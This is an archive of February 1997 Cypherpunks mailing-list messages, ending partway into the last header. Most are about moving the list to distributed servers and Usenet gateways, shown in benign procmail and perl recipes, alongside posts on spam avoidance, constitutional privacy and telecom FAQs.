Message-ID: <199702172129.NAA14193@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 aaron@herringn.com wrote:

> [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
> him personally, just his (distressingly common) attitude]

Hey, I can take the heat.  But I'm afraid you missed my perhaps too-terse
point.

> >Just for the record.  I will not post to USENET given the spamming that
> >seems to go to IDs that appear there.
> 
> [chuckle]
> 
> Just add an anti-spam segment to your email address.
> 
> example:
> 
> jsmith[at]foo.com
> 

It's not that simple.  Consider:

1) I stopped learning more about new computer tools than the minimum
needed to do my work a long time ago, when I stopped programming and
started lawyering.  It wasn't an efficient use of my time.

2) Our system here has ONE email system: PINE.  It defaults my "from"
address.  There is no obvious way to override it.  I may have the
necessary tools and permissions, I may not; I don't feel like taking
whatever time it takes to figure it out.  We use PINE for usenet and
email, using the same config file.  There are other usenet tools here,
like tin, but I would have to learn them.  Again, I have no idea if I have
the permissions/tools/knowledge to alter my headers.  I am certain that I
could hack it with time enough and motivation enough.  I have neither.

3) I do other things besides talk to you with this tool.  I communicate
with students, family and others.  I want them to get my real headers.  I
don't want an elaborate switching mechanims every time I change the person
I'm speaking to.

> Most people worth talking to have enough of a clue to replace [at] with @.
> 
> if your software requires an apparently valid email address, try
> 
> jsmith@NOSPAM.foo.com
> 
> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> in the from: header. Sure, somebody out there is going to be unhappy with
> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> are bouncing mail to the admin of the site instead of to me.
> 
> That may not be enough if you're already in the spamming lists. Try
> using 'positive' filtering- instead of filtering to eliminate unwanted
> mail, filter email from regular correspondents into a 'approved'
> directory, and leave the rest in the inbox to pick through later.
> 
> It seems very strange that the denziens of this list, reputed to be gutsy
> enough to take on the FBI, NSA, CIA, and White House, would be scared
> away from a discussion forum (Usenet) by uninvited email.
> 
> We'd better hope they never figure out Cypherpunks, Guardians of
> Privacy and Defenders of Free Speech, are afraid of spam.
> 
> (And supposedly the 'Moderation experiment' is over, so this won't get
> kicked onto the -flames list, although it's more ridicule than flame...)
> 
> 
> 
> 

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@AZStarNet.com
Date: Mon, 17 Feb 1997 17:41:57 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: The Science Generations, II
Message-ID: <199702180141.RAA19137@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


With regard to chemicals, may I suggest a perusal of the PGI and PML lists
(respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These
are good resources; just about anything you might want is available.
However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk
Newsgroup folks-thanx Dimi--there *is* a difference).

Yea, (as D. Thorn might babble, if I understand the shards of his stuff
quoted in the posts of those who should know better) when I was a young
fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
have any idea what metallic sodium and red fuming nitric acid and Willy
Ley-strength Hydrogen Peroxide are all about?"

Me, personally? I'm glad to have traded the availability of interesting
reagents for the "Oppa-tune-itee" of having freedom and justice. (Although
nobody "axed" my opinion prior to there having been a reversal in the thrust
of gummint regulations.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Mon, 17 Feb 1997 17:44:32 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: The Science Generations, II
Message-ID: <199702180144.RAA19233@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

snow <snow@smoke.suba.com> writes:
> Mr. May wrote:
> > Some legal scholars are claiming that there is no provision in the
> > Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> > number of purchases can no longer be anonymous--guns, explosives, chemicals
> > of various sorts, etc. How long before _all_ transactions must be recorded,
> > True Names revealed, etc.?
> 
>         This is where I often get a little confused.
> 
>         Correct me if I am wrong, but it was my understanding that the
> constitutuion was _not_ a document that explicitly spelled out what writes 
> _I_ had, but rather spelled out fairly precisely what the _government_ was 
> allowed to do.
> 
>         In otherwords, the Constitution does not restrict _me_ rather it 
> restricts the _feds_ (and the Feds alone).

You neglect things like the interstate commerce provision, which means
that if it crosses state lines, the feds can regualte it. In addition,
the court (in its infinite wisdom), decided that "the people" meant
the states, then the people. So, as long as it isn't meantioned in the
constitution, the states can do whatever they want.

Welcome to America, please stay in line.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

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sSjacpA7MNDxH+bCQhDwqx2WRT89JjKK64nTw+4YF05h3pzl1IV3TD1WNDkt8UIe
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 19 Feb 1997 09:28:32 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702191728.JAA27131@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



 
> However, I'm very confused on just what to do at this
> point, my news server doesn't see alt.cypherpunks
> yet and if it did would probably lose about 75% of
> the posts if past performance is to be any indicator.
> (Or more accurately, would never get them, we seem
> to be a bottom feeder here in South Florida as far
> as the newsgroups go.)

try pubnews.demon.co.uk, its a public server open to everyone and his 
dog, recognises all newsgroups, doesn`t accept rmgroups and is quite 
fast (quickest line between UK and USA, 100mbit/sec as I remember). 

Alternatively there is always dejanews.com 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 17 Feb 1997 17:41:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: PDAs as alternatives to smart cards?
Message-ID: <199702180141.RAA19121@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


With the widespread adoption of an industry standard IR link between PDA
type devices, networks and PCs might this not present an opportunity for
their use as more user-configurable and application agile financial and
communiation privacy instruments?  I'm especially thinking along the lines
of their use for ecash transactions in conjunction with smart card-type
merchant terminals sporting an inexpensive IR link to the customer's PDA.

If disk protection programs (e.g., DiskCrypt/PGPDisk) were extended to PDAs
ight that not enable them for a whole host of personal applications?

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 19:30:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702180330.TAA21698@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> >> Some legal scholars are claiming that there is no provision in the
> >> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> >> number of purchases can no longer be anonymous--guns, explosives, chemicals
> >> of various sorts, etc. How long before _all_ transactions must be recorded,
> >> True Names revealed, etc.?
[snip]
> The issue hit when abortion advocates argued that a "woman's right to
> privacy" allowed abortions. However, none of the enumerated rights made
> this obvious. Bork has opined that no right to privacy can be inferred from
> the Constitution. (And I always thought the "woman's right to privacy"
> argument for abortion was flaky. Accepting such an argument, wouldn't
> infanticide be equally protected by a woman's right to privacy?)

A perfect invitation for rational argument.  You obviously refer to
the privacy/right to destroy your own personal property, which you
pretty much have in the U.S., Constitution or no.  So the issue
above is whether the unborn baby is personal property (in the sense
that I can chop off my hair or even my ear if I want to), or the
child is personal property.  The child issue has been settled
effectively for many years now, but the controversy remains on the
unborn.

At least some of this privacy discussion would be better presented
from another angle - how deep would the feds want to probe into the
common folks' lives, what techniques would be employed, how would
the serious folks get around those things, and where would the
greatest (and most serious) amount of actions converge to flare up
in the public consciousness (media, internet, etc.)?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 17 Feb 1997 17:45:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Telecom Frequently Asked Questions File - 1997 Edition [fwd]
Message-ID: <199702180145.RAA19302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  From: David Leibold <djcl@interlog.com>
  To: Telecom Digest <ptownson@massis.lcs.mit.edu>
  Subject: Telecom Digest FAQ - revised edition

TELECOM Digest - Frequently Asked Questions - v.8           8 February 1997

* Frequency of Updates: approximately annual (special updates are possible)

* FAQ contributions to: Telecom.FAQ@superctl.tor250.org
                        or, dleibold@else.net
                        or, aa070@freenet.toronto.on.ca

Introduction...

This is a list of frequently asked questions made in the TELECOM Digest.
New versions of the list are occasionally made available to deal with new,
corrected or updated questions. Many contributors have made the FAQ what
it is today (those listed in the "Who contributed to this FAQ?" question
are hereby thanked).

Check the Archives...

Much of the telecom information that is requested can be found in the
TELECOM Digest Home Page, via WWW at:

         http://hyperarchive.lcs.mit.edu/telecom-archives

This web page should have links to this FAQ file, as well as various
informational files on telecom subjects and the Digest itself. The
Archives for TELECOM Digest should also be available via the Home Page.

The TELECOM Digest Archives are also available through anonymous FTP at
massis.lcs.mit.edu (login as anonymous, mail address for password, cd to
telecom-archives). If possible, try to access the information via the
TELECOM Digest Home Page first. You can also access the Archives using
anonymous ftp at the mirror site: ftp.epix.net/pub/telecom-archives.

Also, there is an email <--> ftp service operating called the Telecom
Archives Email Information Service. Anything in the archives can be
obtained automatically by email. Send mail addressed to:

              tel-archives@massis.lcs.mit.edu

The subject does not matter. Include no text, sending just a blank
letter. You will get a help file by return mail and should use that
as a guide to ordering stuff by email from the archives.

A list of terms commonly used in TELECOM Digest is contained in a
"Glossary" section on the Home Page or in the Archives.

Try direct inquiries...

Direct netmail requests to persons posting on topics of interest to you may
also be helpful. In fact, doing things "behind the scenes" can be more
productive as the Digest Moderator is frequently swamped with other items.
Future editions of this list could include netmail addresses of contacts for
certain topics (say for ISDN, cellular, area codes/numbering plan, consumer
protection matters, etc.); offers to that end would be appreciated.

Where to contact the FAQ maintainer...

Suggestions for other common questions, or corrections or other amendments
to this file may be made to Telecom.FAQ@superctl.tor250.org (Fido
1:259/730) or dleibold@else.net or aa070@freenet.toronto.on.ca. Note that
any or all of these addresses are subject to change or discontinuance.

This file is updated approximately annually; special updates may be made as
time and circumstances permit.

Disclaimer Type Stuff...

All information herein should be considered subject to correction or
change. No endorsements or promotions of specific products or companies
are intended. Any specific references are made for example only, or in
order to adequately deal with certain subjects.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 19:21:54 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Cypherpunks FAQ
Message-ID: <199702180321.TAA21415@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> ISP_Ratings wrote:
> >   Yes--and given the role Dr. Vulis has played in this matter
> > it would be most appropriate for him to write an FAQ (although
> > I personally ignore most FAQs).

>Perhaps it would be more appropriate for the good doctor to write a FUQs.

Why not do it like the Declaration of Independence?  A primary author
puts the basic document together, and other persons with expertise in
other important areas add to it, then it gets circulated on the list
for comments and suggestions.

"Other areas" not normally addressed in these kinds of documents
should include subscribers' awareness that the crypto lists are
a prime target of attention from federal agencies, et al, and
that much of the material posted could be pure disinformation.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Feb 1997 17:44:19 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180144.RAA19225@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> 
> Everyone and his/her cousin has jumped into the void
> created when John Gilmore decided to pull the plug
> on toad.com.
> Has anyone composed a concise summary of just
> what the options are? 

  I have subscribed to Igor's cypherpunks@algebra.com.
  Jim Choate and Lance Cottrel (?) are participating with Igor and
others in maintaining continuity of the list, to my understanding.
  They all seem to be moving toward maintaining a distributed list
which will ensure both continuity and integrity. I would suggest 
joining one or the other list and then, once the 'dust' has 
settled, taking steps to verify that whatever list you are 
subscribed to is operating in such a way as to ensure that there
are no shenanigans going on in the background.
  I, for one, am content to give the new list distributors the 
benefit of the doubt if there are anomalies in the new system,
given the haste in which they must initiate a new distributed
mailing list system.
  On the other hand, they may all be godless communists, seeking
to twist our fragile minds to do their bidding. (Much like myself)

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 17 Feb 1997 19:21:02 -0800 (PST)
To: Raph Levien <raph@CS.Berkeley.EDU>
Subject: Re: List of reliable remailers
Message-ID: <199702180321.TAA21401@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Raph Levien wrote:
> 
> information about remailer features and reliability.
> 
>    To use it, just finger remailer-list@kiwi.cs.berkeley.edu
> 
>    There is also a Web version of the same information, plus lots of
> interesting links to remailer-related resources, at:
> http://www.cs.berkeley.edu/~raph/remailer-list.html
> 

Raph,

Would it be possible to use your testing program to test reliability of
cypherpunks mailing lists?

Thank you.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Mon, 17 Feb 1997 09:41:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: suppressing duplicates based on MD5 of body
Message-ID: <199702171741.JAA10168@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It's been more than 30 hours since I sent the first copy of this message
to cypherpunks@toad.com, and I still haven't seen it on either the
moderated or the flames lists @toad.com.  Suspecting that a particular
naughty word was to blame, I inserted some hyphens and resent the
message several hours later.  That too has failed to reach me on either
the moderated to the flames lists @toad.com.  I am now kmtkujatwv to
several other flavours of the list, and will be interested to see which
(if any) get *this* message, in which the naughty word is encrypted
using the well-known ROT-n algorithm, with a key that I will keep
secret.

Heres's a procmail recipe for suppressing duplicate messages based on
the MD5 of a "normalised" version of the body of the messages.  Folk who
celcmbslo to more than one of the cypherpunks lists may find it useful.

:0
* (Sender: |Return-Path: |Received:.*for.*)(owner-)?cypherpunks
{

    # Detect duplicate messages based on MD5 of normalised body
    :0:.md5.lock
    * B ?? ? (m=`$HOME/bin/normalise-body | md5`; \
	echo "Message-ID: <$m@MD5>" \
	| formail -D 8192 .body-md5.cypherpunks.cache )
    cypherpunks-duplicates

    :0:
    cypherpunks
}


The "* B ?? ?" means "send the body of the message as input to
the following command, and test the command's exit status".
$HOME/bin/normalise-body is a simple perl script (appended) that deletes
trailing blanks on all lines and then deletes leading and trailing blank
lines.

--apb (Alan Barrett)

# This is a shell archive.  Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file".  Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
#	normalise-body
#
echo x - normalise-body
sed 's/^X//' >normalise-body << 'END-of-normalise-body'
X#!/usr/bin/perl
X
X# A very weak attempt at normalising the body of a mail message.
X# Removes trailing white space on all lines, and removes leading
X# and trailing blank lines.
X# Does not attempt to normalise any MIME content-transfer-encoding.
X
X$total_nonblank_lines = 0;
X$consecutive_blank_lines = 0;
Xwhile (<>) {
X    s/\s+$//;
X    if (/^$/) {
X	$consecutive_blank_lines++;
X    } else {
X	print "\n" x $consecutive_blank_lines if $total_nonblank_lines;
X	print $_;
X	$consecutive_blank_lines = 0;
X	$total_nonblank_lines++;
X    }
X}
END-of-normalise-body
exit





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 17 Feb 1997 19:23:36 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180323.TAA21509@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
>  - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
> 	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

... Along with several others.

>  - The distributed list is still forming and so far consists of
> 	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
> 	do not know the location.  A mail<->news gateway is planned, but not
> 	yet in place, between the distributed list and the newsgroup(s).

It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
newsserver offering several cypherpunks newsgroups.

I am not yet sure if taz is now a part of the mainstream usenet, that 
is, it may not be connected to the Big USENET.

> 	cypherpunks@algebra.com is receiving messages from
> 	cypherpunks-unedited.  I assume this means that the other hosts part
> 	of the distributed list are also receiving cypherpunks-unedited
> 	messages.

Correct.
 
>  - Lance Cottrell is running another list (cypherpunks@cyberpass.net) that is
> 	not yet part of the distributed list.  It is also receiving feed from
> 	toad.com.

I will subscribe to it.

Now, it is important to realize that Lance's machine is probably much
better connected than mine. Once we get connected with him, you may be
better off reading cypherpunks from cypherpunks@cyberpass.net. If you
su-bsc-ribe to cypherpunks@algebra.com, it may take longer for articles
to reach you.

 
> If you don't want to miss any messages, then you should subscribe to both
> cypherpunks@cyberpass.net and one of the distributed list nodes.  Since both
> are receiving cypherpunks-unedited, you can safely unsubscribe from
> cypherpunks-unedited, -flames, or the "main" list.  Since these lists have
> overlapping content, you should delete duplicates.

I still think that it is a good idea to do nothing for several days and
wait until the distributed network picks up cyberpass. Then, subscribe
to any node of your liking.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 17 Feb 1997 19:22:18 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180322.TAA21437@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryan Reece wrote:
> 
>    It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
>    reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
>    newsserver offering several cypherpunks newsgroups.
> 
>    I am not yet sure if taz is now a part of the mainstream usenet, that 
>    is, it may not be connected to the Big USENET.
> 
> It receives some Big Usenet groups, but only for local users.
> alt.cypherpunks is open, but there will be long delays, on the
> order of a day, for articles there (unless someone better connected to
> Usenet wants to feed me alt.cypherpunks.*---any volunteers?).
> 

I just set up a recipe for using mail2news gateways like this:

:0 c
| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

Any objections?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 17 Feb 1997 19:22:42 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180322.TAA21472@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryan Reece wrote:
> 
> Igor Chudov writes:
>  > Bryan Reece wrote:
>  > > 
>  > >    It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
>  > >    reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
>  > >    newsserver offering several cypherpunks newsgroups.
>  > > 
>  > >    I am not yet sure if taz is now a part of the mainstream usenet, that 
>  > >    is, it may not be connected to the Big USENET.
>  > > 
>  > > It receives some Big Usenet groups, but only for local users.
>  > > alt.cypherpunks is open, but there will be long delays, on the
>  > > order of a day, for articles there (unless someone better connected to
>  > > Usenet wants to feed me alt.cypherpunks.*---any volunteers?).
>  > > 
>  > 
>  > I just set up a recipe for using mail2news gateways like this:
>  > 
>  > :0 c
>  > | formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
>  > 	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl
>  > 
>  > Any objections?
>  > 
>  > 	- Igor.
> 
> It would be more mailing-list-like to have the list in a separate,
> isolated hierarchy.  That would avoid the principal problems of Usenet
> (delays and email spam).

It is a very good objections. I would like readers to speak up and say
their word for or against forwarding the list messages to
alt.cypherpunks.  If a significant number of people objects (2-3 is
enough) I will disable this feature.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Mon, 17 Feb 1997 21:11:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Message-Id / mail2news gateways.
Message-ID: <199702180511.VAA23620@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This is for all the volunteers who are working on setting up the
distributed cypherpunks mailing lists.

1) Please preserver Message-Ids while resending messages. The
Message-Id is intended to be unique to a message and can be used
to reject duplicates. Usenet software in particular, detects
duplicates by Message-Id.

2) In response to Igor's query, I would very much like at least
on of the distributed lists to be set up such that messages sent
there will *not* be gatewayed to Usenet. As I mentioned, I will
not post to Usenet with my real email address, and if all lists
get gatewayed to alt.cypherpunks, I have to set up fake email
headers to mail to the lists also. If at least one of the
lists can gaurantee that it won't be gatewayed to Usenet, I
don't have to do that, and as a nice bonus, Prof. Froomkin
can continue to be active on cypherpunks.

This can be achieved by the list software adding an
"X-Post-to-Usenet: No" or some similar header to every
message it sends out. Also a header, such as X-List:
should be set to indicate under which mailing list a message
first entered the system. This will be worthless unless all
the list servers honor these headers.

Thanks.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Mon, 17 Feb 1997 19:22:31 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: The Science Generations, II
Message-ID: <199702180322.TAA21459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


< snow writes >
> 	This is where I often get a little confused.
> 
> 	Correct me if I am wrong, but it was my understanding that the
> constitutuion was _not_ a document that explicitly spelled out what writes 
> _I_ had, but rather spelled out fairly precisely what the _government_ was 
> allowed to do.
> 
> 	In otherwords, the Constitution does not restrict _me_ rather it 
> restricts the _feds_ (and the Feds alone).
> 
> 	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
> can only, ONLY do what the constitution says it can.
> 
> 	???

	( non-US residents, tune out ... )

	This is the way it ( the constitution ) was written to work; however, 
the feds have found an interesting way around this.  Here, in two easy steps,
is their secret backdoor through the constitution:

	Step 1:	Take our money in federal taxes.

	Step 2:	Refuse to give it back to us unless we follow their guidelines.

	It's been done time and time again, "for our own good".  Witness the
country-wide drinking age of 21 ( if states don't enact it, they lose their
highway funds ), or the upcoming welfare "return" to the states.

	So, while the Federal government doesn't enact the legislation, they
have a big enough stick to force states and local govt. to bend to their
"suggestion".

	Sorry.

-pete

-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
******	Finger pete@idaho.ubisg.com for my PGP Public key! ******
They that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety. - Benjamin Franklin, 1759





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 17 Feb 1997 21:12:45 -0800 (PST)
To: jer+@andrew.cmu.edu>
Subject: Re: The Science Generations, II
Message-ID: <199702180512.VAA23681@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 17 Feb 1997, Jeremiah A Blatz wrote:

> You neglect things like the interstate commerce provision, which means
> that if it crosses state lines, the feds can regualte it. In addition,
> the court (in its infinite wisdom), decided that "the people" meant
> the states, then the people. So, as long as it isn't meantioned in the
> constitution, the states can do whatever they want.

The 10th amendment states:
"The powers not delegated to the United States by the Constitution, nor
prohibited by it to the states, are reserved to the states respectively, or
to the people."

This sounds pretty clear to me.

Theoretically, the states can do whatever they want as long as they don't
infringe on the rights of the people.  The 9th amendment protects all rights
not explicitly stated in the constitution.  The 5th and 14th amendments both
protect people from losing life, liberty, or property without due process.  I
believe that the 14th was used as justification for Roe vs. Wade, since the
court decided that abortion is a liberty and any law forbidding it deprives a
woman of liberty without due process.

Of course, in practice, we know that the situation is much different...


Mark
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zAjbD+GEYl4Vbu+GpOPkb+RDkECZ762zVQ2DX4yHeGq58Ejs/a4+XHXT6MqYs8Xy
phnluL347m/OrDCPekCT4nOgt0zHGoDQ8PYinxbDUjxLHC7rOzKe9g==
=5iIy
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 17 Feb 1997 21:11:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180511.VAA23668@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: ichudov@algebra.com (Igor Chudov @ home)

>Bryan Reece wrote:
>> 
>> It receives some Big Usenet groups, but only for local users.
>> alt.cypherpunks is open, but there will be long delays, on the
>> order of a day, for articles there (unless someone better connected to
>> Usenet wants to feed me alt.cypherpunks.*---any volunteers?).

	Well, Lance Cottrell would appear to be a good person to ask
on this matter, but...

>I just set up a recipe for using mail2news gateways like this:

>:0 c
>| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
>	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

>Any objections?

given that mail2news@anon.lcs.mit.edu gets one of its USENET feeds via
cyberpass.net, it would appear to be unnecessary if this recipe is in
use. However, I do have one problem with this recipe: lack of
loop prevention if a news2mail gateway is going in the other direction.
I don't know, but the mail2news gateway folks may not be too happy with
this idea either, given massively increased load; this is particularly
true since IIRC misc.misc is _not_ the proper place to crosspost stuff
from & to; it's only for stuff that _really_ doesn't fall under any
other category. (I've crossposted this message to the remailer-operators
mailing list to make sure it gets to the operators of the gateways in
question.)

In regards to your later query about whether people want their postings
going to Usenet, might I suggest that this be individual to the given
distributed mailing list? In other words, since the recipe is logically
going to have to not forward to a gateway messages from other mailing
lists (since it's not a good idea to have multiple copies of the same
message arriving at the gateway if it can be helped; better to filter
it out beforehand), some of the mailing lists can forward and the
others cannot. (One could even determine this behavior on application
of the proper X-header, although I never trust various mailing systems
to forward such intact.) The same could also be done with gatewaying
_from_ Usenet - if the news2mail gateway feeds to whatever individual
lists sign up to it and they _don't_ forward such messages to others,
people can decide whether or not to receive Usenet postings on
alt.cypherpunks.* by which list they subscribe to.
	-Allen

P.S. A thank you to Reece for setting up a gateway; I had looked
at the program and did _not_ much like the idea of having to
maintain it on my limited knowledge of C/C++ and mailing
software.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 17 Feb 1997 21:11:25 -0800 (PST)
To: reece@taz.nceye.net
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180511.VAA23635@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"reece@taz.nceye.net"  "Bryan Reece" 17-FEB-1997 23:23:10.06

>>   use. However, I do have one problem with this recipe: lack of
>>   loop prevention if a news2mail gateway is going in the other direction.

>All the mailing-list hosts are supposed to check for duplicates before
>forwarding anything, so this shouldn't do anything worse than have a
>few extra copies of each post get discarded, loading the network and
>the hosts a bit more.  But posting the list to a widely-distributed

	Umm... IIRC, the only person who's announced how he's filtering
for duplicates is Igor, and he's just checking for messageIDs. Won't
those get chunked on going through a mail2news gateway, and thus
possibly come back through a news2mail gateway? The filtering
mechanism could be improved via MD5 digests, etcetera (someone's
already given a recipe for such; thank you), but even so various
mungings could still set up a mailing loop. (Yes, I'm paranoid
about those; I may have been reading list-managers for too long and
seen too many stories on there.) The sensible place to keep
track of possible duplicates is at the gateway; it can
certainly filter based on that it (or, for that matter, another
known bidirectional gateway) sent a message out.

>newsgroup seems wrong for noise (both to the list itself and to
>posters) and delay reasons.

	Delay reasons being that mail will go to Usenet, go
all over the place there, and then get replied to later than if
it were just on the mailing list(s)? A potential problem, yes.
But (especially given the options I mentioned below), this
would appear to be a matter for individual users to decide
by which list they go with and any added control headers.
Maximum individual sovreignty (sp?).

>>   In regards to your later query about whether people want their postings
>>   going to Usenet, might I suggest that this be individual to the given
>>   distributed mailing list? In other words, since the recipe is logically
>>   going to have to not forward to a gateway messages from other mailing
>>   lists (since it's not a good idea to have multiple copies of the same
>>   message arriving at the gateway if it can be helped; better to filter
>>   it out beforehand),

>It doesn't seem an especially bad idea, since it 

	Thank you. Were you cut off?

>>   some of the mailing lists can forward and the
>>   others cannot. (One could even determine this behavior on application
>>   of the proper X-header, although I never trust various mailing systems
>>   to forward such intact.) The same could also be done with gatewaying
>>   _from_ Usenet - if the news2mail gateway feeds to whatever individual
>>   lists sign up to it and they _don't_ forward such messages to others,
>>   people can decide whether or not to receive Usenet postings on
>>   alt.cypherpunks.* by which list they subscribe to.

>The code currently running is a perl script that turns typical email
>messages into something INN is happy with.  It is probably possible to
>get your message rejected by INN if you put obsolete or otherwise
>unusual and illegal headers in.  This may be a bug.

	That would probably depend on: A. if any other circumstances
other than deliberately sabotaging your message's translation would
also disrupt its chances of getting through seriously, particularly
if they weren't something you'd spot; and B. if sufficiently bad
messages would disrupt INN's operations too much. You'd know a lot
more than I would in regard to the latter, and probably the former.
I was last a serious participant on USENET on a Vax running VMS
(via Bitnet, as a matter of fact... a while back).
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 18 Feb 1997 07:26:14 -0800 (PST)
